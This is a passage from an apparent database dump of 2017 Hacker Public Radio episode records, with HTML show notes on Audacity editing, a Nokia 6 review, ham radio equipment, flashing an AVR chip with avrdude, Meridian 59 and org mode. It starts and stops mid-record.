<li>Ratio: 3:1</li>\r\n  <li>Attack Time: 0.2sec</li>\r\n  <li>Decay Time: 1.0 sec</li>\r\n  <li>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</li>\r\n </ul>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata. We use the \"Truncate Silence\" effect with it\'s default settings to minimize the silence between people speaking. When used with it\'s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying or distorting any actual content. It makes a conversation sound as fluid during playback as it was when it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to pass the file through Truncate Silence ONCE, and ONLY ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound very choppy, and un-natural.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n<h3>FURTHER RECOMMENDATIONS</h3>\r\n<p><strong>A Small Room in Koboldtown (Escape Pod podcast Episode 157)</strong> by By Michael Swanwick &amp; read by Cheyenne Wright\r\n <br/><a href=\"https://escapepod.org/2008/05/08/ep157-a-small-room-in-koboldtown/\">A Small Room in Koboldtown</a></p>\r\n<h3>FEEDBACK</h3>\r\n<p>Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time. Please leave a few words in the episode\'s comment section.\r\n <br/>As always; remember to visit the HPR contribution page. HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br/>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n',157,53,1,'CC-BY-SA','Review, Audiobook, HPR_AudioBookClub',0,0,1),
(2411,'2017-10-30','Information Underground: Co-op Paradise',2691,'Deepgeek, Klaatu, and Lostnbronx discuss their long-running server co-operative.','<p>\r\nDeepgeek, Klaatu, and Lostnbronx discuss their long-running server co-operative, including the triumphs and challenges over the years, personal benefits, and why listeners might want to create such a thing themselves.</p>',107,99,0,'CC-BY-SA','web server,email server,server,co-op,co-operative,gopher,privacy,information underground',0,0,1),
(2404,'2017-10-19','Open Source Gaming #1: Meridian59',874,'A showcase of Open Source games, Starting with the revived MMORPG Meridian59','<p>Check out the game</p>\r\n<small><em>Edited 2017-10-11T16:59:43Z (Wednesday) ken</em></small>\r\n\r\n<h1><i>Meridian 59</i></h1>\r\n<p>From Wikipedia, the free encyclopedia</p>\r\n<p><b>Meridian 59</b> is known as the first 3D graphical <a href=\"https://en.wikipedia.org/wiki/Massively_multiplayer_online_role-playing_game\" title=\"Massively multiplayer online role-playing game\">massively multiplayer online role-playing game</a> (MMORPG) and stands as one of the longest running original online role-playing games. Developed by Archetype Interactive, the team included <a href=\"https://en.wikipedia.org/wiki/John_Hanke\" title=\"John Hanke\">John Hanke</a> who later founded <a href=\"https://en.wikipedia.org/wiki/Niantic_(company)\" title=\"Niantic (company)\">Niantic, Inc.</a> and codeveloped <a href=\"https://en.wikipedia.org/wiki/Google_Earth\" title=\"Google Earth\">Google Earth</a> and <i><a href=\"https://en.wikipedia.org/wiki/Pok%C3%A9mon_Go\" title=\"Pokémon Go\">Pokémon Go</a></i>.</p>\r\n<p>First published by the now defunct <a href=\"https://en.wikipedia.org/wiki/The_3DO_Company\" title=\"The 3DO Company\">3DO Company</a>, the game was first launched online in an early form on December 15, 1995 and released commercially on September 27, 1996 with a flat-rate monthly subscription. <i>Meridian 59</i> is currently available as <a href=\"https://en.wikipedia.org/wiki/Open_source\" class=\"mw-redirect\" title=\"Open source\">open source</a> software<sup id=\"cite_ref-license_1-0\" class=\"reference\"><a href=\"#cite_note-license-1\"></a></sup> and is being run by original developers Andrew Kirmse and Chris Kirmse.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Meridian_59\">https://en.wikipedia.org/wiki/Meridian_59</a></li>\r\n<li><a href=\"https://github.com/Meridian59/Meridian59\">https://github.com/Meridian59/Meridian59</a></li>\r\n<li><a href=\"https://www.mmogames.com/game/meridian-59/\">https://www.mmogames.com/game/meridian-59/</a></li>\r\n<li><a href=\"https://www.mmorpg.com/meridian-59-evolution\">https://www.mmorpg.com/meridian-59-evolution</a></li>\r\n</ul>\r\n',354,0,1,'CC-BY-SA','Gaming, Open Source',0,0,1),
(2405,'2017-10-20','Nokia 6 Review',675,'This is a short show about my first thoughts of the Nokia 6','<p>The Nokia 6 is a mid range phone with the following specifications:</p>\r\n<ul>\r\n<li>5.5-inch 1080p screen</li>\r\n<li>Snapdragon 430 chip set</li>\r\n<li>CPU - Octa-core 1.4 GHz Cortex-A53</li>\r\n<li>GPU - Adreno 505</li>\r\n<li>3GB of RAM</li>\r\n<li>Dual 4G SIM capable (All UK networks)</li>\r\n<li>32Gig internal storage expansion with SD card up to 128Gig</li>\r\n<li>16MP and 8MP cameras</li>\r\n<li>Fingerprint scanner</li>\r\n<li>3.5mm Headphone Jack</li>\r\n<li>All metal Aluminium case</li>\r\n</ul>\r\n<p>Price at purchase, network unlocked £200</p>\r\n<p>The phone came with Android 7.1 and as soon as it was connected to the Internet it updated to 7.1.1 so has the latest September security patches.</p>\r\n<p>The first issue encountered was that this phone uses a nano SIM card for the phone network and my old One Plus used the bigger micro SIM, so I had to get a new Sim card sent to me which took 24 hours. In the mean time I was installing some of the applications that I have on the phone and checking that all my contacts had transferred to the new phone, which despite a backup of same some had not migrated, but that’s a Google issue not the phone.</p>\r\n<p>When the SIM arrived I put it and a 16Gig micro SD card into the SIM slot, the cards were recognized and after configuring the SD card as additional storage I was able to set my pod catcher and camera to save files to the SD card rather than internal storage thus leaving internal storage for apps and Android updates.</p>\r\n<p>First thing I noticed over my previous One Plus1 is how snappy everything is the CPU upgrade was definitely and improvement over my old phone. Another thing is the fact that Nokia has decided to keep the 3.5mm headphone Jack which for me is essential as I listen to music and audio recordings at some time on the phone most days. A lot has also been said about the 3000mAh battery not being up to all day use and the slowness of recharging it if needed. For my use profile I find the battery more than adequate, I surf, use social media, take occasional snaps, watch the odd You Tube video and listen to pod-casts/music, Oh and make the odd phone call.</p>\r\n<p>After a 14 hour day I have still got 50-60% of battery left. Granted the other night I got down to 40% it did take all night to recharge to 98% with a 2.5A charger, with the official 2A charger it does seem to be a little faster, but yes if you\'re a heavy user you will need to carry your charger or a portable battery for emergency top ups.</p>\r\n<p>So would I recommend the Nokia6 to someone in the market for a phablet, the short answer is yes, if you need the larger screen but can\'t afford the high end larger screen phones this is a very good mid range option, if you need to use the dual SIM capability it might be worth spending the extra £40 and getting the 64Gig version to give extra room for updates and plenty of space for Applications as you will not be able to use the expansion capacity as the second SIM uses the space where the Micro SD card goes.</p>\r\n<p>After the first 2 weeks or so my first impressions are this is a good phone and well worth the £200 price point.</p>',338,57,0,'CC-BY-SA','Android, Nokia 6, Phones, New Kit',0,0,1),
(2410,'2017-10-27','OLF 2017 Report',1376,'OLF 2017, a Free and Open Source Software conference took place on September 29- October 1, 2017','<p>Ohio LinuxFest 2017 is a Free and Open Source Software convention in Columbus, Ohio, and presents a variety of talks over the entire weekend. In this episode I tell you about my own personal experience at Ohio LinuxFest this year.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://ohiolinux.org/\" class=\"uri\">https://ohiolinux.org/</a></li>\r\n<li><a href=\"https://sfconservancy.org/\" class=\"uri\">https://sfconservancy.org/</a></li>\r\n<li><a href=\"https://start.fedoraproject.org/\" class=\"uri\">https://start.fedoraproject.org/</a></li>\r\n<li><a href=\"https://www.sip.us/\" class=\"uri\">https://www.sip.us/</a></li>\r\n<li><a href=\"https://www.hurricanelabs.com/\" class=\"uri\">https://www.hurricanelabs.com/</a></li>\r\n<li><a href=\"https://welcome.linode.com/features-1gb\" class=\"uri\">https://welcome.linode.com/features-1gb</a></li>\r\n<li><a href=\"https://www.ixsystems.com/blog/developers-corner-dru-lavigne/\" class=\"uri\">https://www.ixsystems.com/blog/developers-corner-dru-lavigne/</a></li>\r\n<li><a href=\"https://www.freenas.org/\" class=\"uri\">https://www.freenas.org/</a></li>\r\n<li><a href=\"https://hackersvanguard.com/\" class=\"uri\">https://hackersvanguard.com/</a></li>\r\n<li><a href=\"https://klaver.it/linux/sysctl.conf\" class=\"uri\">https://klaver.it/linux/sysctl.conf</a></li>\r\n<li><a href=\"https://www.sovereigncyberindustries.com/\" class=\"uri\">https://www.sovereigncyberindustries.com/</a></li>\r\n<li><a href=\"https://www.opennms.com/\" class=\"uri\">https://www.opennms.com/</a></li>\r\n<li><a href=\"https://enablingthefuture.org/upper-limb-prosthetics/the-raptor-hand/\" class=\"uri\">https://enablingthefuture.org/upper-limb-prosthetics/the-raptor-hand/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?p=947\" class=\"uri\">https://www.zwilnik.com/?p=947</a></li>\r\n</ul>\r\n',198,0,1,'CC-BY-SA','OLF 2017, Open Source, Free Software, Conference',0,0,1),
(2406,'2017-10-23','Putting Ends onto CAT6 Ethernet Cables',509,'This was my experience learning how to put the ends onto CAT6 cable.','<p>This is the graphic that I used to learn how to feed the wires correctly into the plastic end piece in the right order:<br />\r\n<img src=\"https://3.bp.blogspot.com/-Sec-OmiRuDk/WOLMmb0yXJI/AAAAAAAAARE/ay3qkpPmIq4__PJc3RJoPWv9RNnxXauJQCEw/s1600/CAT6%2Bcat5%2BWiring%2BDiagram%2Bstraight%2Bthrough%2Bcable%2Bcolor%2Bcode%2Brj45%2BethernetTIA%2B568B.jpg\" alt=\"https://3.bp.blogspot.com/-Sec-OmiRuDk/WOLMmb0yXJI/AAAAAAAAARE/ay3qkpPmIq4__PJc3RJoPWv9RNnxXauJQCEw/s1600/CAT6%2Bcat5%2BWiring%2BDiagram%2Bstraight%2Bthrough%2Bcable%2Bcolor%2Bcode%2Brj45%2BethernetTIA%2B568B.jpg\" /></p>',250,0,0,'CC-BY-SA','CAT6, learning, DIY',0,0,1),
(2431,'2017-11-27','Information Underground: Local Control',2431,'Deepgeek, Klaatu, and Lostnbronx natter on about local participation and responsibility.','<h2 id=\"summary\">SUMMARY:</h2>\r\n<p>Deepgeek, Klaatu, and Lostnbronx discuss communities, real and virtual, and get to the heart (or not) of the confluent issues surrounding modern confusion, apathy and despair with their leadership.</p>\r\n<h2 id=\"links-mentioned\">LINKS MENTIONED:</h2>\r\n<ul>\r\n<li><a href=\"https://www.showlowaz.gov/519/Citizens-Academy\" class=\"uri\">https://www.showlowaz.gov/519/Citizens-Academy</a></li>\r\n<li><a href=\"https://splinternews.com/welcome-to-an-american-city-where-the-government-barely-1818667220\" class=\"uri\">https://splinternews.com/welcome-to-an-american-city-where-the-government-barely-1818667220</a></li>\r\n</ul>',107,99,1,'CC-BY-SA','community,information underground,klaatu,deepgeek,lostnbronx',0,0,1),
(2407,'2017-10-24','The Lost Episode Part 2',1332,'NYbill talks about flashing firmware to a Atmega328p chip to get a Transistor Tester Kit working. ','<p>A follow up to “The Lost Episode”. Flashing the blank Atmega328p chip to get bring a nonworking Transistor Tester Kit to life.</p>\r\n<p>There are a lot of these kits out there. Different shapes, colors, and capabilities. In my case the kit was called a: 2578AY-AT. The firmware for this particular kit is: <code>mega328_color_kit</code>.</p>\r\n<ul>\r\n<li><p>Pics for the Episode:<br />\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/collection/the-lost-episode-part-2/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/the-lost-episode-part-2/</a></p></li>\r\n<li><p>PDF of Open Source project:<br />\r\n<a href=\"https://www.avrtester.tode.cz/upload/ttester_en.pdf\" class=\"uri\">https://www.avrtester.tode.cz/upload/ttester_en.pdf</a></p></li>\r\n<li><p>My AVR Programmer:<br />\r\n<a href=\"https://www.amazon.com/Qunqi-Programmer-Adapter-ATMEGA8-ATMEGA128/dp/B014J2BMAG/ref=sr_1_3?ie=UTF8&amp;qid=1508004600&amp;sr=8-3&amp;keywords=usbasp\" class=\"uri\">https://www.amazon.com/Qunqi-Programmer-Adapter-ATMEGA8-ATMEGA128/dp/B014J2BMAG/ref=sr_1_3?ie=UTF8&amp;qid=1508004600&amp;sr=8-3&amp;keywords=usbasp</a></p></li>\r\n<li><p>Avrdudess:<br />\r\n<a href=\"https://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/\" class=\"uri\">https://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/</a></p></li>\r\n<li><p>Steps after plugging in the USB programmer:</p></li>\r\n</ul>\r\n<pre><code>    lsusb (get bus and device ID numbers.)\r\n    sudo chmod +777 /dev/bus/usb/*bus_ID/*device_ID\r\n\r\n    avrdude -c ‘your programmer’ -p ‘your chip’</code></pre>\r\n<ul>\r\n<li>In my case:</li>\r\n</ul>\r\n<pre><code>    avrdude -c usbasp -p m328p</code></pre>\r\n<p>Avrdude should communicate with the programmer and verify the chip is ready to receive instructions.</p>\r\n<p>From here Avrdudess helped as I was able to use the ‘verify’ options after a write to see there was an error. Avrdudess also let me correct the error by changing the E-lock value to 0x04. Then the flash would write.</p>\r\n<p>Remember to write the hex file first and the eep file second as hex would over write a eep file if it was written first.</p>\r\n',235,103,0,'CC-BY-SA','Electronics,kit,tester,AVR programmer,transistor',0,0,1),
(2408,'2017-10-25','My Current Favourite Podcasts',246,'Six of my favourite podcasts, as of October 2017. ','<ul>\r\n<li><p>3 Guys 3 Questions<br />\r\n<a href=\"https://3g3q.co/\" class=\"uri\">https://3g3q.co/</a><br />\r\nHumour. Three guys take turns asking a question, which they each answer in turn.</p></li>\r\n<li><p>A Klingon Word from the Word<br />\r\n<a href=\"https://www.klingonword.org/\" class=\"uri\">https://www.klingonword.org/</a><br />\r\nChristianity, Sci-Fi. A Bible verse is read in Klingon, then in English.</p></li>\r\n<li><p>Cool Tools<br />\r\n<a href=\"https://kk.org/cooltools/category/podcast-2\" class=\"uri\">https://kk.org/cooltools/category/podcast-2</a><br />\r\nTechnology. Always a guest from the tech field or the maker community.</p></li>\r\n<li><p>Futility Closet<br />\r\n<a href=\"https://www.futilitycloset.com/category/podcast/\" class=\"uri\">https://www.futilitycloset.com/category/podcast/</a><br />\r\nHistory. Little-known stories from the past.</p></li>\r\n<li><p>Ken and Robin Talk about Stuff<br />\r\n<a href=\"https://www.kenandrobintalkaboutstuff.com/\" class=\"uri\">https://www.kenandrobintalkaboutstuff.com/</a><br />\r\nGaming. Two RPG designers talk to each other about game design and how to use current events in games.</p></li>\r\n<li><p>The Goodstuff Morning Show<br />\r\n<a href=\"https://goodstuff.fm/morningshow/\" class=\"uri\">https://goodstuff.fm/morningshow/</a><br />\r\nHumour. Not every morning, and sometimes they even record at night! Two brothers having wacky fun.</p></li>\r\n</ul>',250,75,0,'CC-BY-SA','podcasts, tech, maker, Christianity, science fiction, Klingon, humour, history',0,0,1),
(2413,'2017-11-01','personal health care',344,'wherein bitbox discovers he is fat, and can no longer find his feet','<p>This show was created while sitting in my tractor cab (I\'m a truck driver), it took less than 10 minutes to record. The slight background noise is my truck getting bounced around by the forklift running in and out of my trailer.</p>\r\n<p>The audio was recorded on an \'Olympus VN-1000PC\' pocket dictation recorder (purchased at Walmart about 10 or 12 years ago, I think, for about $20.00-US), on the built in mic. The recorder will accept a mic and/or headphone with a 3.5mm jack size. Mini usb out as a mass storage device so its easy to offload your files. The device is simple enough for a monkey to use, or a trucker...</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2413/The_Ultra_Hi_End_Recorder.jpg\" alt=\"The_Ultra_Hi_End_Recorder.jpg\" /></p>\r\n<p>Photos from my Android phone, a samsung s7 active. Photos transferred to my laptop using the KDE connect application (I know, I know, how \'bout an episode...)</p>\r\n<p>Photo editing in \"Gwenview\", a gui application with fast cropping and resizing capability, plus much much more (I know, I know, how \'bout an episode...)</p>\r\n<p>Audio editing in \"Audacity\", of course. All I did was pull the silences, and the \"uh, ummmm\'s\" out, and then export into a flac mono. (I know, I know, how \'bout an episode...wait, no that one\'s been done, and done,...)</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2413/Expensive_Audio_Editing_Software_Suite.jpg\" alt=\"Expensive_Audio_Editing_Software_Suite.jpg\" /></p>\r\n<p>The digital scale in the picture below was purchased at \'bedbath&beyond\' for less than $20.00 -US, several years ago and seems quite accurate</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2413/OMG_scale_reading.jpg\" alt=\"OMG_scale_reading.jpg\" /></p>\r\n<p>The Omron BP cuff...lists at about $80-$90.00 US on their site. I didn\'t pay for that though. My mom the retired nurse did.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2413/Omron_BP760_data_plate.jpg\" alt=\"Omron_BP760_data_plate.jpg\" /> <img src=\"https://hackerpublicradio.org/eps/hpr2413/Omron_BP760_machine.jpg\" alt=\"Omron_BP760_machine.jpg\" /></p>\r\n<p>SHAKUBUKU - from the wikipedia entry...<br />\r\nShakubuku \"break and subdue\" (折伏) is a term that originates in the Chinese Śrīmālādevī Siṃhanāda Sūtra. Although often associated with the teachings of Nichiren, the term appears often in the SAT Daizokyo and the works of the Chinese Tiantai patriarachs Zhiyi and Zhanran. The term has historically been used to indicate the rebuttal of false teachings, and thereby break negative patterns in one\'s thoughts, words and deeds.</p>\r\n<p>Personally, I heard the term defined first on the movie, \"Gross Pointe Blank\" with Minni Driver, John Cusack, Alan Arkin and Dan Akroyd. Minnie Driver\'s character described SHAKUBUKU thusly,\"It\'s a swift, spiritual kick to the head that alters your reality forever.\"</p>\r\n<p>Both of these definitions work for me, the first being the more definitive, and the second being the somewhat simplistic, hipster/millennial definition, although the line was actually recorded around 1997 when the movie came out.</p>\r\n<p>Thank you all for listening.</p>\r\n<p>-bitbox</p>\r\n',330,100,1,'CC-BY-SA','health, personal health',0,0,1),
(2409,'2017-10-26','RPG Counternote',1155,'Lostnbronx offers his thoughts concerning Klaatu\'s recent episodes about RPG\'s.','<p>I started with tabletop role-playing games just about forty years ago. Klaatu recently did a two-part episode on the merits of RPG\'s, and it prompted some thoughts.</p>\r\n<h3 id=\"klaatus-rpg-episodes\">KLAATU\'S RPG EPISODES:</h3>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2381\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2381</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2390\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2390</a></li>\r\n</ul>',107,95,1,'CC-BY','rpg,role-playing game,pc,gaming,klaatu,lostnbronx',0,0,1),
(2414,'2017-11-02','What\'s in my ham shack, part 1',1331,'A description of what\'s in my amateur radio shack.','<ul>\r\n<li><p>Standard C510A/C510E, VHF / UHF analogue handset<br />\r\n<a href=\"https://www.eham.net/reviews/detail/2658\" class=\"uri\">https://www.eham.net/reviews/detail/2658</a><br />\r\n<a href=\"https://www.elkoba.com/en/wireless-radio-devices/standard-radio/standard-c-510.html\" class=\"uri\">https://www.elkoba.com/en/wireless-radio-devices/standard-radio/standard-c-510.html</a></p></li>\r\n<li><p>Standard Power Booster. I found it difficult to find information on this item<br />\r\n<a href=\"https://vobonus.appspot.com/Amateurfunk-Sendeempfnger/Booster-CPB-510-Von-Standard-Zur-Handfunke-C510E/252818765812\" class=\"uri\">https://vobonus.appspot.com/Amateurfunk-Sendeempfnger/Booster-CPB-510-Von-Standard-Zur-Handfunke-C510E/252818765812</a></p></li>\r\n<li><p>Baofeng UV-5R handset<br />\r\n<a href=\"https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band-x/dp/B007HH6RR4\" class=\"uri\">https://www.amazon.co.uk/BaoFeng-UV-5R-136-174-400-480-Dual-Band-x/dp/B007HH6RR4</a></p></li>\r\n<li><p>RSGB News<br />\r\n<a href=\"https://rsgb.org/main/news/\" class=\"uri\">https://rsgb.org/main/news/</a></p></li>\r\n<li><p>Retevis RT3 handset DMR (Digital Mobile Radio)<br />\r\n<a href=\"https://www.retevis.com/dmr-radio-rt3-uhf-1000ch-digital-two-way-radio-walkie-talkie\" class=\"uri\">https://www.retevis.com/dmr-radio-rt3-uhf-1000ch-digital-two-way-radio-walkie-talkie</a></p></li>\r\n<li><p>DMR (Digital Mobile Radio)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Digital_mobile_radio\" class=\"uri\">https://en.wikipedia.org/wiki/Digital_mobile_radio</a><br />\r\n<a href=\"https://www.m0pzt.com/blog/amateurs-guide-to-dmr/\" class=\"uri\">https://www.m0pzt.com/blog/amateurs-guide-to-dmr/</a></p></li>\r\n<li><p>Hacked firmware for Retevis RT3 &amp; MD850 clones<br />\r\n<a href=\"https://github.com/travisgoodspeed/md380tools\" class=\"uri\">https://github.com/travisgoodspeed/md380tools</a><br />\r\n<a href=\"https://github.com/travisgoodspeed/md380tools/wiki\" class=\"uri\">https://github.com/travisgoodspeed/md380tools/wiki</a></p></li>\r\n<li><p>Brandmiester Network<br />\r\n<a href=\"https://brandmeister.network/\" class=\"uri\">https://brandmeister.network/</a></p></li>\r\n<li><p>Hytera PD365 handset DMR<br />\r\n<a href=\"https://hytera.co.uk/products/pd365\" class=\"uri\">https://hytera.co.uk/products/pd365</a></p></li>\r\n</ul>',201,43,0,'CC-BY-SA','ham radio, amateur radio',0,0,1),
(2418,'2017-11-08','What\'s in my ham shack, part 2',1456,'A description of what\'s in my amateur radio shack','<style type=\"text/css\">\r\n    article header ul > li,\r\n    article footer ul > li {\r\n    margin-bottom: 0;\r\n    }\r\n    article ul > li {\r\n    margin-bottom: 5px;\r\n    }\r\n</style>\r\n<ul>\r\n<li>Eurosonic 12V 35 Amp Power Supply, I couldn\'t find a picture like my power supply instead I found picture of a similar one. My power supply has a light blue casing and is substantially bigger than this as it can supply 12V at 35 amps.<br />\r\n<a href=\"https://www.ebay.es/itm/Eurosonic-13-8v-3A-CB-Ham-Radio-Power-Supply-Excellent-condition-/192224086831?hash=item2cc172cb2f:g:fSMAAOSwwzhZSmRh\" class=\"uri\">https://www.ebay.es/itm/Eurosonic-13-8v-3A-CB-Ham-Radio-Power-Supply-Excellent-condition-/192224086831?hash=item2cc172cb2f:g:fSMAAOSwwzhZSmRh</a></li>\r\n<li>Icom 2725, full duplex analogue VHF/UHF mobile radio<br />\r\n<a href=\"https://www.icomuk.co.uk/categoryRender.asp?categoryID=3824&amp;productID=718&amp;tID=938\" class=\"uri\">https://www.icomuk.co.uk/categoryRender.asp?categoryID=3824&amp;productID=718&amp;tID=938</a></li>\r\n<li>Revex W540, SWR &amp; Power Meter, 140-525 MHz<br />\r\n<a href=\"https://www.ebay.ie/itm/Revex-W540-Power-and-SWR-Meter-140-525MHz/371245912279\" class=\"uri\">https://www.ebay.ie/itm/Revex-W540-Power-and-SWR-Meter-140-525MHz/371245912279</a></li>\r\n<li>Standing Wave Ratio Information from Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Standing_wave_ratio\" class=\"uri\">https://en.wikipedia.org/wiki/Standing_wave_ratio</a></li>\r\n<li>Welz SP-220 SWR &amp; Power Meter, 1.8-200 MHz<br />\r\n<a href=\"https://www.eham.net/reviews/detail/5371\" class=\"uri\">https://www.eham.net/reviews/detail/5371</a></li>\r\n<li>Kenwood TS940S HF Transceiver, Cover mods and weaknesses of radio\r\n<ul>\r\n<li>TS940 Overview<br />\r\n<a href=\"https://www.universal-radio.com/catalog/hamhf/ts940s.html\" class=\"uri\">https://www.universal-radio.com/catalog/hamhf/ts940s.html</a></li>\r\n<li>TS940 Review<br />\r\n<a href=\"https://www.eham.net/reviews/detail/239\" class=\"uri\">https://www.eham.net/reviews/detail/239</a></li>\r\n<li>TS940 Mods<br />\r\n<a href=\"https://www.radiomods.co.nz/kenwood/kenwoodts940.html\" class=\"uri\">https://www.radiomods.co.nz/kenwood/kenwoodts940.html</a></li>\r\n<li>TS940 User Manual<br />\r\n<a href=\"https://www.radiomanual.info/schemi/TS940_user.pdf\" class=\"uri\">https://www.radiomanual.info/schemi/TS940_user.pdf</a></li>\r\n<li>TS940 Service Manual<br />\r\nAfter recording the show I decided to see if there was a link to the user manual this I found easily. This got me thinking if the service manual was also available and to my surprise it is, all 108 gloriously detailed pages. Feel free to knock yourself out with the detail.<br />\r\n<a href=\"https://www.radiomanual.info/schemi/TS940_serv.pdf\" class=\"uri\">https://www.radiomanual.info/schemi/TS940_serv.pdf</a></li>\r\n</ul></li>\r\n<li>Dummy Load\r\n<ul>\r\n<li>Background info <a href=\"https://en.wikipedia.org/wiki/Dummy_load\" class=\"uri\">https://en.wikipedia.org/wiki/Dummy_load</a></li>\r\n<li>How to build a dummy load <a href=\"https://www.k4eaa.com/dummy.html\" class=\"uri\">https://www.k4eaa.com/dummy.html</a></li>\r\n</ul></li>\r\n<li>UK Amateur Radio Logbook\r\n<ul>\r\n<li>Example of printable Amateur radio Logbook, logging can also be done using software. <a href=\"https://m0ukd.com/other-stuff/printable-amateur-radio-logbooks/\" class=\"uri\">https://m0ukd.com/other-stuff/printable-amateur-radio-logbooks/</a></li>\r\n</ul></li>\r\n</ul>\r\n',201,43,0,'CC-BY-SA','Amateur Radio, Ham Radio',0,0,1),
(2415,'2017-11-03','bullet journal to org mode',927,'my journey from analog to digital','<h2 id=\"brief-introduction\">1 Brief introduction</h2>\r\n<h3 id=\"myself\">1.1 Myself</h3>\r\n<p>Hi, I\'m Brian in Ohio</p>\r\n<h3 id=\"inspiration-for-show\">1.2 Inspiration for show</h3>\r\n<p>I heard Shane Shennan on episode 2299 doing a what\'s in my bag episode where he briefly mentions using a bullet journal. Then I think I heard Ken Fallon wondering about bullet journals on community news for the month with that episode. So I thought a show was in order explaining how I went from using a bullet journal to using emacs org mode.</p>\r\n<h3 id=\"parameters\">1.3 Parameters</h3>\r\n<p>I\'m not an expert on any of the following topics: bullet journal, Getting things done (GTD), orgmode or emacs. I\'m someone who has tried these tools, climbed the learning curve and have some observations to make through that process.</p>\r\n<h2 id=\"whats-a-bullet-journal\">2 What\'s a bullet journal</h2>\r\n<h3 id=\"created-by-ryder-carrol\">2.1 Created by ryder carrol</h3>\r\n<p>The analog system for the digital age</p>\r\n<h3 id=\"where-i-found-out-about-it\">2.2 Where I found out about it</h3>\r\n<p><a href=\"https://www.relay.fm/penaddict/70\" class=\"uri\">https://www.relay.fm/penaddict/70</a></p>\r\n<h3 id=\"what-it-is\">2.3 What it is</h3>\r\n<p>Method of laying out a notebook and using it to organize and process ideas and tasks. I won\'t try to explain exactly how it is set up. The video tutorial <a href=\"https://bulletjournal.com/\" class=\"uri\">https://bulletjournal.com/</a> is excellent. You can use any notebook and divide it up into index pages, future log, monthly log and daily log there\'s a visual indexing/ tagging system to help organize stuff. Its extremely customizable.</p>\r\n<h3 id=\"how-i-used-it\">2.4 How I used it</h3>\r\n<p>I bullet journaled for 2 and a half years, initially set it up stock but later put the index at the back. I used it as a daily planner, idea storing device and short term and long term goal setting tool.</p>\r\n<h3 id=\"strengths\">2.5 Strengths</h3>\r\n<p>Customizable but within framework, gives a method to get organized that you can tailor to your needs. Its pretty easy to find needed info, if you\'re diciplined about using. It its battery free</p>\r\n<h3 id=\"shortcomings\">2.6 Shortcomings</h3>\r\n<p>Need to be disciplined. Can be tedious to enter items in month, daily and index sections. It takes time to set up. I think Shane\'s use case he mentioned in podcast as sort of a project/idea book sounds pretty cool and might be a really good use case for this system. Hard to edit, this may be a strength for some people, but for me as a daily planner it was a little daunting to use. Adding stuff to something requires either leaving space ahead of time or indexing to a new page. The monthly log was always a mystery to me on how to use it. If you lose it you\'ve lost it, no easy way to back it up</p>\r\n<h2 id=\"what-is-org-mode\">3 What is org mode</h2>\r\n<h3 id=\"created-by-carsten-dominik\">3.1 Created by Carsten Dominik</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Org-mode\">org-mode wiki</a></li>\r\n</ul>\r\n<h3 id=\"what-it-is-1\">3.2 what it is</h3>\r\n<p>Is an editing and organizing mode for notes, planning, and authoring in the free software text editor Emacs.</p>\r\n<h3 id=\"how-i-found-out-about-it\">3.3 How I found out about it</h3>\r\n<h4 id=\"emacs\">3.3.1 emacs</h4>\r\n<h5 id=\"wanted-a-commandline-c-development-environment-for-microcontroller-project-development\">3.3.1.1 Wanted a commandline C development environment for microcontroller project development</h5>\r\n<h5 id=\"ide\">3.3.1.2 IDE</h5>\r\n<p>Worked with vim/ a bash shell as a sort of minimal IDE. I specifically was using it on a laptop that didn\'t have X installed on it. Just for fun, not my bread and butter.</p>\r\n<h5 id=\"wanted-to-try-something-new\">3.3.1.3 Wanted to try something new</h5>\r\n<p>Knew about emacs, had tried it didn\'t like it</p>\r\n<h5 id=\"thanks-to-klaatu-for-emacs-hpr-emacs-episodes\">3.3.1.4 Thanks to klaatu for emacs hpr emacs episodes</h5>\r\n<ul>\r\n<li><a 